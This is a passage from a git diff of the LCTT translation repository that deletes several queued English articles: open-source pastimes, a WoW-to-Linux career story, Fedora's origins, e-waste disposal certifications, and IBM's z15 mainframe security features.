something - -![Seeeduino in the garden][2] - -You may have an abundance of little ones to care for during the day, and if you do, you should read our [article][3] about fun open source projects for kids and parents. If you don't, or if you're just keen to try caring for something that's quiet, then you might find it satisfying to plant something. - -I used to think gardening was something you did as a way to establish a routine: each morning, you wake up and tend to your plants before you start your day, each evening you might pull weeds, and so on. Now that I have a garden, I realize that it's more like a low-stress puzzle. Learning to tend to plants is a little like learning to program. You learn the basics first, you learn to debug (literally, in the case of aphids), and then you learn how to optimize growth and maybe even [how to automate plant care][4]. - -If you're not attracted to gardening, there are plenty of other [outdoor projects][5] that are useful in getting you outdoors with a purpose and encouraging you to go back out for more. - -### Go for a walk - -![Walking][6] - -The phrases "go for a walk" or "get some fresh air" are so common that they seem trite, but that doesn't make the result any less valid. Getting outside your usual workspace is vital for clarity and drive, but sometimes going outside feels a little pointless. You can only walk around the block so many times before the journey loses excitement. - -If you need a goal for ambling around your neighborhood, you can download a handy app called [StreetComplete][7]. It's a quest-based app that presents you with points of interest in your area with incomplete [Open Street Map][8] data. You can help crowdsource better open source maps by verifying and providing information through the app. Suddenly, that aimless meandering you don't really want to do is a fun quest for you and your family. - -### Diversify - -![Mini stapler][9] - -Being in an office can present exciting challenges, whether it's because you're in a dynamic industry or in a petty fight with a colleague over ownership of a stapler. When you work from home, your daily routine can get pretty, well, routine. If that's the case, it might be time to diversify. - -If you've been meaning to [get involved with open source][10], now's a great time for it. - -If you suspect you might be artistic (or even if you're convinced you're not, but you have something you want to express), then maybe it's time to finally learn how to create some [digital imagery][11]. - -Or maybe you're curious about programming. It might be easier than you think and given enough free time, you might even end up with [your own game written in Python][12]. - -### Make some music - -![Music keyboardas][13] - -Artistic expression is important, whether you're working from home or living with someone who's bored at home. The great thing about music is that you don't need to be _musical_ to [make some really cool noise][14]. In fact, you can make some [wild sounds on a Raspberry Pi][15], if you have one lying around. - -If you happen to be musical, though, you can have a go at a digital audio workstation like [Qtractor][16] or [Rosegarden][17]. For inspiration, read about a [professional composer][18] and the music festival he created. - -### Refurbish - -![Old computers][19] - -I don't like it when good things go to waste, especially computers. Read about [refurbishing old computers][20] and [really old computers][21], and then rummage around in your attic to find one for your own experiments. - -### Meet the challenge - -Being stuck at home for long periods of time, whether it's for a few weeks or the better part of your career, can be challenging. However, open source is a vast landscape of opportunity. Explore and find the parts of it that appeal to you. You can build a hobby, and maybe even a career, out of all the fun things you can do with other people's toys. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-activities - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_dandelion_520x292.png?itok=-xhFQvUj (Person in a field of dandelions) -[2]: https://opensource.com/sites/default/files/uploads/diversions_seeeduino.jpg (Seeeduino in the garden) -[3]: https://opensource.com/article/19/12/kids-students-education -[4]: https://opensource.com/article/17/3/arduino-garden-projects -[5]: https://opensource.com/article/19/5/hardware-outdoors -[6]: https://opensource.com/sites/default/files/uploads/diversions_walk.jpg (Walking) -[7]: https://opensource.com/article/20/1/streetcomplete-crowdsource-maps -[8]: https://opensource.com/article/17/8/openstreetmap -[9]: https://opensource.com/sites/default/files/uploads/diversions_stapler.jpg (Mini stapler) -[10]: https://opensource.com/article/17/10/open-source-cats -[11]: https://opensource.com/life/12/6/design-without-debt-five-tools-for-designers -[12]: https://opensource.com/article/17/10/python-101 -[13]: https://opensource.com/sites/default/files/uploads/diversions_keyboards.jpg (Music keyboards) -[14]: https://opensource.com/life/16/2/linux-multimedia-studio -[15]: https://opensource.com/article/20/3/sonic-pi -[16]: https://opensource.com/article/17/6/qtractor-audio -[17]: https://opensource.com/article/18/3/make-sweet-music-digital-audio-workstation-rosegarden -[18]: https://opensource.com/article/20/2/linux-open-source-music -[19]: https://opensource.com/sites/default/files/uploads/diversions_old-computers.jpg (Old computers) -[20]: https://opensource.com/article/19/7/how-make-old-computer-useful-again -[21]: https://opensource.com/article/20/2/restore-old-computer-linux diff --git a/sources/talk/20200414 How World of Warcraft introduced me to Linux.md b/sources/talk/20200414 How World of Warcraft introduced me to Linux.md deleted file mode 100644 index b1836ccb43..0000000000 --- a/sources/talk/20200414 How World of Warcraft introduced me to Linux.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How World of Warcraft introduced me to Linux) -[#]: via: (https://opensource.com/article/20/4/wow-linux) -[#]: author: (Luke Rawlins, RHCE https://opensource.com/users/sudoluke) - -How World of Warcraft introduced me to Linux -====== -One Linux sysadmin traces his journey from video-gaming car mechanic to -a new career in IT. -![Gaming with penguin pawns][1] - -The story behind my career with [Linux][2] is a bit unusual. It starts back in 2005; I was working as an auto mechanic at a Nissan dealership in Toledo, Ohio. I had never used a computer for anything other than checking email, browsing the web, and playing World of Warcraft. - -I had never heard of Linux, I didn't know the term "open source," I probably couldn't even have walked you through how to copy a file from one place to another, and I certainly never thought that I would eventually find myself working in IT or running a website. - -### The "Blue Screen of Death" that changed my life - -I mentioned that I liked to play World of Warcraft (I still do, you can find me on my Mage "Elodinn—Twisting Nether" most of the time). This game was a huge hit in the early 2000s, and it consumed an enormous amount of my time (truth be told, probably a little too much of my time). - -You can imagine my horror one evening when I boot up my PC to be greeted by a blue screen with lots of cryptic messages, including "A problem has been detected…" Hmm weird, maybe I'll just unplug it and plug it back in—that works around the shop sometimes. No such luck, the same message comes up. Over and over, to no avail. - -### How do you fix this? - -So I called a friend and explained the problem. [Big blue screen][3]. Lots of little white letters. I'm going to miss the raid! - -He wasn't sure but said something about drivers, or maybe a hardware problem. I ended up calling around to a few computer repair shops to see if they could fix it. They all said the same thing after I read the message on the screen, and explained the problem to them. "I really can't be sure over the phone, but it sounds like the motherboard is bad. It's going to be $95 for diagnostics and I should be able to get it back to you in about a week." - -There was no way I was going to pay $95 for a diagnostic on an old crappy computer just to be told that either I needed a new one, or that the repair was going to be even more money on top of the diagnostic fee. So I thought to myself, if I can fix a car, then I can definitely fix this little computer. It was broken anyway; what was the worst that could happen? I end up breaking it more and need a new one? I was already in that situation. - -So I spent the next couple of days at work doing some research on computer parts, in between cars. I found out that replacing the motherboard meant that I was probably going to need a new processor. I found a motherboard/processor combo on Newegg for a decent price that I was fairly confident would work on my computer. Great! - -I ordered the parts, and a few days later, after printing out a few instructions, I had swapped out the motherboard and replaced it with my new hardware from Newegg. I was incredibly proud of my new found skills and naturally assumed that I was some kind of elite hacker. That is, until I started the computer up. - -I don't know if you know this, but Windows XP didn't like it when you replaced a lot of parts in your computer. I didn't know it at the time either, but now I had spent probably $150 because I didn't want to pay $95 for a diagnostic, and my computer was still broken. - -### The deep dark web has all the answers - -The next day, once again, I'm using all my breaks to research what went wrong. Pretty quickly I realized that my problem was tied to the fact that I needed a new Windows license. I also realized that there was no way I was going to purchase the software. I'd get a new computer before I purchased a new Windows license. But I wasn't quite ready to give up yet. - -One click leads to another, and I end up on a computer repair forum with someone complaining about a similar problem. All the replies are basically the same—buy a Windows license or buy a new PC—but one. Near the bottom of the forum, some unknown hero of the internet says, "You can always give Ubuntu a try." and leaves it at that. - -"What's Ubuntu?" I said to myself, "and how on earth do you even pronounce that word?" - -Anyway, after some more intensive searching, I found out that Ubuntu is a free operating system that is widely considered to be one of the most user-friendly Linux distributions (whatever that is) that you can get. What's more, I found a book that included an installation CD available at the Barnes and Noble bookstore that I passed on my way home from work. Why not give Ubuntu a try? After all, the computer was already broken, and the book was only $18.99. - -### This story is already too long - -I wish I still had that book. I think I sold it with a box full of old books at a garage sale when we moved a few years ago. I wanted to share my Linux story because it's different than many of the other stories I read about. I was not a college graduate at the time, I didn't learn to code as a child, and I am not an exceptionally intelligent person. I was, at best, an average student, a recently separated Marine, and I assumed that fixing computers couldn't be much different from fixing cars. At the end of the day, you're still just swapping out different parts, right? Different tools, different parts, same job—no problem. - -Along the way I ran into a lot of problems, the first one was the discovery that after all that work, I still couldn't play World of Warcraft. Eventually, I discovered WineHQ and Open Office, and all the incredible things that have come out of the open-source world. That mysterious blue screen and my World of Warcraft obsession redirected the course of my entire working life, for the better. That's an odd thing to admit, but it's probably true. - -### How does the story end? - -Well, it's not over, and I still have a lot to learn. After some frustrating trial and error, I did eventually learn how to install World of Warcraft using Wine. I missed a few weeks in the game, but I didn't lose my raid spot in the guild, and all things considered, I was no worse for the wear. At the time, I was playing a Druid, and everyone always had room for a healer when it came time to battle Ragnaros, the Fire Lord! - -Up to this point, however, my little computer repair project has turned into a wonderful career as a Linux systems administrator, a bachelor's degree, a whole bunch of IT certifications, including the Red Hat Certified Engineer certification, and a [blog][4] that I use as my way of giving back to the community that has given me so much. - -So, if you are like me, a person who is at best moderately intelligent, persistent, incredibly cheap, and not afraid to break a few things, go ahead and try out Linux the next time your computer breaks. - -I'm excited. I mean really excited. Excited to the point that I can hardly think. I'm talking six-... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/wow-linux - -作者:[Luke Rawlins, RHCE][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sudoluke -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) -[2]: https://opensource.com/resources/linux -[3]: https://en.wikipedia.org/wiki/Blue_screen_of_death -[4]: https://sudoedit.com diff --git a/sources/talk/20200415 Fedora Origins - Part 01.md b/sources/talk/20200415 Fedora Origins - Part 01.md deleted file mode 100644 index 43c381958e..0000000000 --- a/sources/talk/20200415 Fedora Origins - Part 01.md +++ /dev/null @@ -1,126 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fedora Origins – Part 01) -[#]: via: (https://fedoramagazine.org/fedora-origins-part-01/) -[#]: author: (Sylvia Sánchez https://fedoramagazine.org/author/lailah/) - -Fedora Origins – Part 01 -====== - -![][1] - -_Editor’s comment:_ The format of this article is different from the usual article that Fedora Magazine has published: a Fedora origins story told from the point of view of a Fedora user. The author has chosen to tell a story, since to simply present the bare facts is akin to just reading the wiki page about it. - -### Hello World! - -Hello, I am… no, I’m not going to give my real name. Let’s say I’m female, probably shorter and older than you. I used to go by the nick of Isadora, more on that later. - -![Here you have one of the old RH boxes][2] - -Now some context. Back in the late ’90s, internet became popular and PCs started to be a thing. However, most people didn’t have either because it was very expensive and often you could do better with the traditional methods. Yes, computers were very basic back then. I used to play with these pocket games that were fascinating at the time, but totally lame now. Monochrome screens with pixelated flat animations. Not going to dive there, just giving an idea how it was. - -In the mid-90s a company named Red Hat emerged and slowly started to make a profit of its own by selling its own business-oriented distribution and software utilities. The name comes from one of its founders, Marc Ewing, who used to wear a red lacrosse in university so other students could spot him easily and ask him questions. -Of course, as it was a business-oriented distribution, and I was busy with multiple other things, I didn’t pay much attention to it. It lacked the software I needed and since I wasn’t a customer, I was nobody to ask for additions. However, it was Linux and as such Open Source. People started to package stuff for RHL and put it in repositories. I was invited to join the community project, Fedora.us. I promptly declined, misunderstanding the name. It was the second time I got invited that I asked ‘what is with the “US” there (in the name)?` Another user explained it was ‘us’ as in ‘we’ not as in the ‘United States.’ They explained a bit about how the community worked and I decided to give it a go. - -Then my studies got in the way, and I had to shelve it. - -![Login Screen in Fedora Core][3] - -### Press Return - -By the time I came back to Fedora.us it had changed its name to Fedora Project and was actively being worked on from within Red Hat. Now, I wasn’t there so my direct knowledge of how this happened is a bit foggy. Some say that Fedora existed separately and Red Hat added/invited them, some say that Fedora was completely RH’s idea, some say they existed independently and at some point met or joined. Choose the version you like, I’ll put some links down there so you can know more details and decide for yourself. As far as I’m concerned, they worked together. - -Well, as usual someone dropped some CDs with ISOs for me. If I had an euro for every ISO I’ve been offered, or had tossed at my desk, for me to try it, I would be rich. As a matter of fact, I’m not rich but I do have a big rack full of old distros. - -_Anyways_… - -Now it’s the early 2000s and things have changed dramatically. Computers’ prices have dropped and internet speed is increasing, plus a set of new technologies make it cheaper and more reliable. Computers now can do so much more than just a decade ago, and they’re smaller too. Screens are bigger, with better colors and resolution. Laptops are starting to become popular though still expensive and less powerful than desktop PCs. - -During this time, I tried both Fedora and Red Hat. Now, as has been said before, Red Hat focuses on businesses and companies. Their main concern is having exactly the software their customers need, with the features their customers need, delivered as rock solid stability and a reliable update & support cycle. A lot of customization, variety of options and many cool new features are not their main core. More software means more testing and development work and bigger chances of things failing. Yet the technology industry is constantly changing and innovating. Sticking too much to older versions or proven formulas can be fatal for a company. - -So what to do? Well, they solved it with Fedora. Fedora Project would be the innovative, looking ahead test bed, and Red Hat Enterprise Linux was the more conservative, rock solid operating system for businesses. Yes, they changed the name from Red Hat Linux to Red Hat _Enterprise_ Linux. Sounds better, doesn’t it? - -Unsurprisingly, Fedora had a fame of being difficult, unstable and for “hackers only”. Whenever I said I was using Fedora, they would give me odd looks or say something like “I want something stable” or “I’m not into _that_” (meaning they didn’t fancy programming/hacking activities). Countless individuals suggested I might want to use one of the other, beginner-friendly distributions, without themselves even giving Fedora a try! Many would disregard Linux as a whole as an amateur thing, only valid for playing but not good for serious work and companies. To each their own, I suppose. - -![Note the F and the bubble already there][4] - -### Yes, but why? - -Those early versions were called Fedora Core and had a very uncertain release pattern. The six months cycle came much later. Fedora Core got its name because there were two repositories, Core and Extras. Core had the essentials, so to speak, and was maintained by Red Hat. Extras was, well, everything else. Any software that most users would want or need was included there, and it was maintained by a wide range of contributors. - -From the beginning, one of the most powerful reasons for me to use it was the community and its core values. The _Four Foundations_ of Fedora, _Freedom, Features, First & Friends_ were lived and breathed and not just a catchy line on a website or a leaflet. Fedora Project strove (and still does) to deliver the newest features first, caring for freedom (of choice and software) and keeping a good open community, making friends as we contribute to the project. - -I also liked the fact that Fedora, as its purpose was testing for Red Hat, delivered a lot of new software and technologies; it was like opening the window to see the future today. - -The downside was its unreliable upgrade cycle. You could get a new version in a few months or next year… nobody knew, there was no agreed schedule. - -![Note how, despite being Fedora, RH’s logo and signature is omnipresent][5] - -### What was in the box - -Fedora Core kept this name up to the sixth version. From the start, it was meant to be a distribution you could use right after installing it, so it came with Gnome 2, KDE 3, OpenOffice and some browser I forgot, possibly Firefox. - -I remember it being the first to introduce SELinux and SystemD by default, and to replace LILO with GRUB. I also remember the hardware requirements were something at the time, although they now sound laughable: Pentium II 400MHz, 256MB RAM (yes, you read it right) and 2GB of space in disk. It even had an option for terminal only! This would require only 64MB RAM and Pentium II 200MHz. Amazing, isn’t it? - -It had codenames. Not publicly, but it had, and they were quite peculiar. Fedora Core 1 was code named «Yarrow» which is a medium size plant with yellow or white crown-like flowers. Core 2 was Tettnang which is a small town in Baden-Württemberg, Germany. Not sure about Core 3, I think it was Heidelberg, but maybe I’m mixing with later releases. Core 4 was Stentz, if I recall correctly (no idea what it means), Core 5 was a colour, I think Bordeaux, and Core 6 was Zod that _I think_ it was a comic character but I could be wrong. If there was a method in their madness I have no idea. I thought the names amusing but didn’t give a second thought to it as they didn’t affect anything, not even the design of each release. - -![Ah… good ol` genetic helix][6] - -### So what now? - -Well, of course, Fedora Project has evolved from where we have stopped. But that’s for later articles or this one will be too long. For now, I leave you with an extract of an interview with Matthew Miller, current Project Leader and some links in case you want to know more. - -_**Extracts to interview with Matthew Miller, Project Leader.**_ - -Matthew Miller tells about the beginnings in Eduard Lucena’s podcast (transcription [here][7]): _“Fedora started about 15 years ago, really. It actually started as a thing called Fedora.us.” Back in those days, there was Red Hat Linux.” “Meanwhile, there was this thing called Fedora.us which was basically a project to make additional software available to users of Red Hat Linux. Find things that weren’t part of Red Hat Linux, and package them up, and make them available to everybody. That was started as a community project.”_ - -_“Red Hat_ (then) _merged with this [Fedora.us][8] project to form Fedora Project that produces an upstream operating system that Red Hat Enterprise Linux is derived from but then moves on a slower pace.”_ - -_“We were then two parts, Fedora Core, which was basically inherited from the old Red Hat Linux and only Red Hat employees could do anything with and then Fedora Extras, where community could come together to add things on top of that Fedora Core. It took a little while to get off the ground but it was fairly successful”_ - -“_Around the time of Fedora Core 6, those were actually merged together into one big Fedora where all of the packages were all part of the same thing. There was no more distinction of Core and Extras, and everything was all together and, more importantly, all the community was all together._ - -_They invited the community to take ownership of the whole thing and for Red Hat to become part of the community rather than separate. That was a huge success.”_ - -_**Links of interest**_ - -**Fedora, a visual history** -[https://www.phoronix.com/scan.php?page=article&item=678&num=1][9] - -**Red Hat Videos – Fedora’s anniversary** - - -**Red Hat Videos – Default to open** - - -**Fedora’s Mission & Foundations** - - -**A short history of Fedora** - - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-origins-part-01/ - -作者:[Sylvia Sánchez][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/lailah/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/04/fedora-origins-816x352.png -[2]: https://fedoramagazine.org/wp-content/uploads/2020/03/IMG_0554-768x1024.jpeg -[3]: https://fedoramagazine.org/wp-content/uploads/2020/04/15112-1.png -[4]: https://fedoramagazine.org/wp-content/uploads/2020/04/Fedora_Core_5.png -[5]: https://fedoramagazine.org/wp-content/uploads/2020/04/Fedora_Core_3.png -[6]: https://fedoramagazine.org/wp-content/uploads/2020/04/Artwork_FC7Themes_Fc7ThemeProposalFlyingHigh_Fc7ThemeProposalFlyingHighRhgl_rhgb-core6-1.png -[7]: https://x3mboy.fedorapeople.org/podcast/transcripts/transcriptFedoraPodcastEpisode01.html -[8]: http://fedora.us/ -[9]: https://www.phoronix.com/scan.php?page=article&item=678&num=1 diff --git a/sources/talk/20200415 How to dispose of IT hardware without hurting the environment.md b/sources/talk/20200415 How to dispose of IT hardware without hurting the environment.md deleted file mode 100644 index 511720d7fd..0000000000 --- a/sources/talk/20200415 How to dispose of IT hardware without hurting the environment.md +++ /dev/null @@ -1,102 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to dispose of IT hardware without hurting the environment) -[#]: via: (https://www.networkworld.com/article/3537928/how-to-dispose-of-it-hardware-without-hurting-the-environment.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -How to dispose of IT hardware without hurting the environment -====== -Find certified recyclers and disposal firms in order to know that the retirement of your old electronics gear is handled safely. -[Angelo Tsirekas][1] [(CC BY 3.0)][2] - -Many enterprises don’t think much about where their obsolete IT gear winds up, but it’s possible to be green-minded, not bust the budget, and even benefit a little from proper disposal. Here is how. - -### Go back to where you bought - -The first option to consider is returning the equipment the vendor or reseller you bought it from, says Susan Middleton, research director, financing strategies at IDC. “Every year we ask customers, ‘How do you handle end-of-lease?’ Overwhelmingly, they return to vendor or partner who are better equipped to handle recycling,” she says. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -Vendors often give a fair-market buyout for the devices that can go toward new products, Middleton says. “The big players like IBM and HPE do a great job because they can clean them up and resell them, and the facilities to do that are pretty big,” she says. - -### Vet disposal firms - -If that’s not an option,  and you have to find a disposal company – an IT Asset Disposition (ITAD) service – on your own, the first thing to check is whether it is properly certified, says Mike Satter, CEO of IT asset disposal and [data-center][4]-decommissioning provider OceanTech. Proper certification starts with a [Responsible Recycling (R2) certification][5]. - -R2s are administered by [Sustainable Electronics Recycling International][6] (SERI), a non-profit organization dedicated to the responsible reuse, repair, and recycling of electronic products. It sets the R2 standard and audits ITAD providers that carry the standard to make sure they are in compliance with the standard. Being responsible means creating a paper trail that shows the electronic waste – which contains heavy metals including arsenic, beryllium, cadmium, chromium, cobalt, indium, lead, mercury, nickel, and thallium, and are toxic in high enough doses – is reused, recovered or recycled. - -Some disposal firms dump old gear in general landfills or export them to other countries where regulations aren’t as strong.   - -“Any ITAD service provider that does not carry an R2 certification cannot fully guarantee zero landfill or zero export of materials,” says Satter. “Many recyclers will say they are compliant, but without verified certifications you’re taking a chance.” - -[][7] - -Mark Dobson, IT asset disposal security specialist with NextUse, a firm that removes and the resells second-hand IT assets, cites six disposal certifications that companies should look for: [R2][5],  [e-Stewards][8],  [NAID][9], [NAID AAA][10] (which has greater certification of regulatory compliance), [ISO 14001][11], and ISO 18001. “R2 would be the floor,” he says. - -Briefly, here’s what these certifications do. - - * **e-Stewards** is a standard set by the Basel Action Network in Sweden, which recognizes electronics recyclers that adhere to the most stringent environmentally and socially responsible practices when recovering hazardous electronic materials. In particular it is focused on making sure it was not shipped off to poor countries, where underage workers were exposed to toxic materials in careless work conditions. - * **NAID and NAID** AAA certification are set by The National Association of Information Destruction, a standards body that sets rules for the proper disposal of information devices, like hard drives. - * **ISO 14001** is a management framework for organizations to “achieve the intended outcomes of its environmental management system, which provide value for the environment, the organization itself and interested parties.” Outcomes of the framework should enhance environmental performance, fulfill compliance obligations and achieve environmental objectives. ISO is the International Organization of Standards, a global standards body. - * **ISO 18001** is the international standard for health and safety management systems. - - - -Dobson says ITAD companies that do it right are using one or more of the certification standards for data security and responsible recycling, and getting and maintaining those standard takes substantial initial and on-going investment in facilities, equipment, hardware, software, personnel, policies and procedures. - -“When those vendors charge more for their services, it is to cover those expenses, not to be excessively profitable,” he says. “Companies that do it the cheap way are skipping many if not all of those investments.” - -If an e-waste company says they will take retired equipment for free, consider that a red flag, says Satter. “Compliant e-waste companies have to hire vetted/credentialed employees, which must pass background checks to ensure compliance is delivered,” Satter says. “All of that costs money.” - -But the additional cost of using a certified company is minor. “We’re not talking hundreds of thousands of dollars,” says Dobson. “Even on the biggest job, it’s a few thousand dollars difference between the right way and the cheap way. For your average client, you’re talking thousands of dollars between the best vendors possible and totally half-assing it with the cheapest vendor that’s not operating in anyone’s best interest but their own.” - -### Penalties - -State environmental laws about illegal disposal are mainly enforced by state attorneys general. In addition, various federal agencies enforce violations of their agency's laws and regulations. - -Satter thinks enforcement needs to be tougher. “It will take the federal government to create extreme enforcement measures to ensure our e-waste is handled properly. The CEO or owner of companies should be arrested if they violate illegal e-waste dumping laws or knowingly exports e-waste to developing countries,” he says. - -In one case, two executives of a Seattle e-waste recycling company got [28 months in jail][12] for improper disposal of e-waste. In that case, it was e-Stewards that got wise to their illegal activities and turned them in to the Washington state AG. - -But that’s an exception, not the rule. Dobson says he sees very little enforcement. “The regulations are in place but spotily enforced, and penalties are not incentivizing. A lot of this is viewed as the cost of doing business. They build the fines for if they get caught into the cost of disposal,” he says. - -Fines for illegal dumping of old IT assets, are determined by the size of the violation, the clean-up cost, and the guidelines in the state or federal law. AT&T got one of the largest fines on record in 2014 for illegal disposal of e-waste, socked with a [$52 million fine][13]. Two years later, Apple got a spanking of $450,000 for its own [illegal dumping][14]. - -Middleton says first and foremost companies should ask for a paper trail to verify proper handling and disposal of assets from the moment they are picked up. “Ask about who certifies that your [disposal] partners are doing it correctly. When you don’t get a good answer, you walk away,” she says. - -But she says she thinks most firms are legit. “Anyone that’s lasted in this business isn’t shady. The majority that have been around a while are responsible,” says Middleton. - -Join the Network World communities on [Facebook][15] and [LinkedIn][16] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3537928/how-to-dispose-of-it-hardware-without-hurting-the-environment.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/Kerbside_collection#/media/File:ACT_recycling_truck.jpg -[2]: https://creativecommons.org/licenses/by/3.0/legalcode -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[5]: https://sustainableelectronics.org/r2-standard -[6]: https://sustainableelectronics.org/ -[7]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[8]: http://e-stewards.org/ -[9]: https://naidonline.org/ -[10]: https://naidonline.org/certifications/why-become-certified/ -[11]: https://www.iso.org/iso-14001-environmental-management.html -[12]: https://www.theverge.com/2019/12/4/20992240/e-waste-recycling-electronic-basel-convention-crime-total-reclaim-fraud -[13]: https://www.reuters.com/article/us-usa-at-t-california/att-to-pay-california-52-million-in-hazardous-waste-disposal-settlement-idUSKCN0J50AG20141121 -[14]: https://www.mercurynews.com/2016/12/06/apple-to-pay-450000-after-allegations-of-hazardous-waste-violations/ -[15]: https://www.facebook.com/NetworkWorld/ -[16]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200415 IBM extends z15 mainframe family, intensifies Linux security.md b/sources/talk/20200415 IBM extends z15 mainframe family, intensifies Linux security.md deleted file mode 100644 index 2ec127350a..0000000000 --- a/sources/talk/20200415 IBM extends z15 mainframe family, intensifies Linux security.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IBM extends z15 mainframe family, intensifies Linux security) -[#]: via: (https://www.networkworld.com/article/3537678/ibm-extends-z15-mainframe-family-intensifies-linux-security.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -IBM extends z15 mainframe family, intensifies Linux security -====== -IBM continued to reshape the mainframe with an eye toward further integrating it within hybrid clouds and further securing Linux-based workloads. -Kali Linux / nevarpp / Getty Images - -IBM continued to reshape the [mainframe][1] with an eye toward further integrating it within hybrid clouds and securing [Linux][2]-based workloads. - -On the hardware side, IBM rolled out two entry-level, 19” single-frame, air-cooled platforms, the  [z15 Model T02][3] and [LinuxONE III Model LT2][4]. The new machines are extensions of the IBM z15 family that [Big Blue rolled out in September][5] of last year.  - -Both can fit in cloud [data-center][6] racks and can be outfitted with a second drawer, should customers need to grow capacity.  Both feature 65 cores using commercial processors running at 4.5GHz and can be configured to support all manner of workloads.  - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][7] - -IBM said new machines support z/OS Container Extensions that enable access to an ecosystem of open-source and Linux-on-IBM Z applications that may be deployed within the native z/OS environment without requiring a separate Linux server, using Docker container skills and patterns. In addition customers can use the latest open-source tools, popular NoSQL databases, analytics frameworks and application servers, IBM said. - -The LinuxONE Model LT2 can run a number of Linux systems including [Red Hat Enterprise Linux][8], SUSE and Ubuntu, alone or side by side with IBM z/VM environments on a single physical server. The IBM LinuxONE server can run Linux workloads independently on a single server. - -Both systems support IBM’s prepackaged Cloud Paks, which include a secured Kubernetes container and containerized IBM middleware designed to let customers quickly spin-up enterprise-ready containers, the company said. IBM has standard Cloud Paks for data, application, integration, automation and multicloud management and security. The idea is to help customers develop, deploy, and manage cloud-native applications for the z15 family, IBM stated. - -Security and privacy features are key for the z15 and those have been extended with the introduction of IBM Secure Execution for Linux for the all z15 models.  In a [blog post][9] about the security extensions, IBM stated that at its core, a Secure Execution provides a KVM-based virtual machine that is fully isolated and protected from the hypervisor with encryption keys that only the IBM Z hardware and firmware have access to. - -[][10] - -“In practice, an encrypted Linux image is created using the host public key and a customer-specific key. Since the encryption keys are stored on the IBM Z hardware and firmware, the encrypted image can only be executed in a virtual machine on the host(s) it has been prepared for, and the image can’t be decrypted or tampered with outside of the designated host(s). In addition, your unencrypted virtual machine memory cannot be accessed by the host operating system either,” IBM stated. “Applications are then run inside of that virtual machine, allowing the owner of the application to focus on just disk and network data encryption, both of which can be easily handled in userland.” - -In an environment where [customers are running Kubernetes][11] across servers running on x86 and Linux on Z systems, you can deploy the Secure Execution containers specifically for the applications you want to have protected, like sensitive databases and blockchain services. In this model, Kubernetes still manages the orchestration of containers, both on x86 and IBM Z, but it has no access to the data inside the Secure Execution environment container, IBM stated.  - -With Secure Execution IBM is trying to mitigate insider threats to enterprise data. - -From 2016 to 2019, the average number of incidents involving employee or contractor negligence has increased from 10.5 to 14.5–and the average number of credential theft incidents per company has tripled over the past three years, from 1.0 to 3.2, According to the [Ponemon Institute’s 2020 Cost of an Insider Breach Report][12], IBM stated.  “IBM Secure Execution for Linux helps to mitigate these concerns by enabling clients to isolate large numbers of workloads with granularity and at scale, within a trusted execution environment.” - -The z15 family already supports what IBM calls [Data Privacy Passports][13] that promise to let customers control privacy and security by defining how all data is accessed, stored and shared. The idea is to let customers  protect and provision data and revoke access to that data at any time, not only within the z15 environment but across an enterprise's hybrid [multicloud][14] environment, IBM stated.  - -The new systems and software are expected to be available by mid-May.  z15 T02 pricing starts at $160,000 but each machine is built to order so prices vary. - -Join the Network World communities on [Facebook][15] and [LinkedIn][16] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3537678/ibm-extends-z15-mainframe-family-intensifies-linux-security.html - -作者:[Michael Cooney][a] 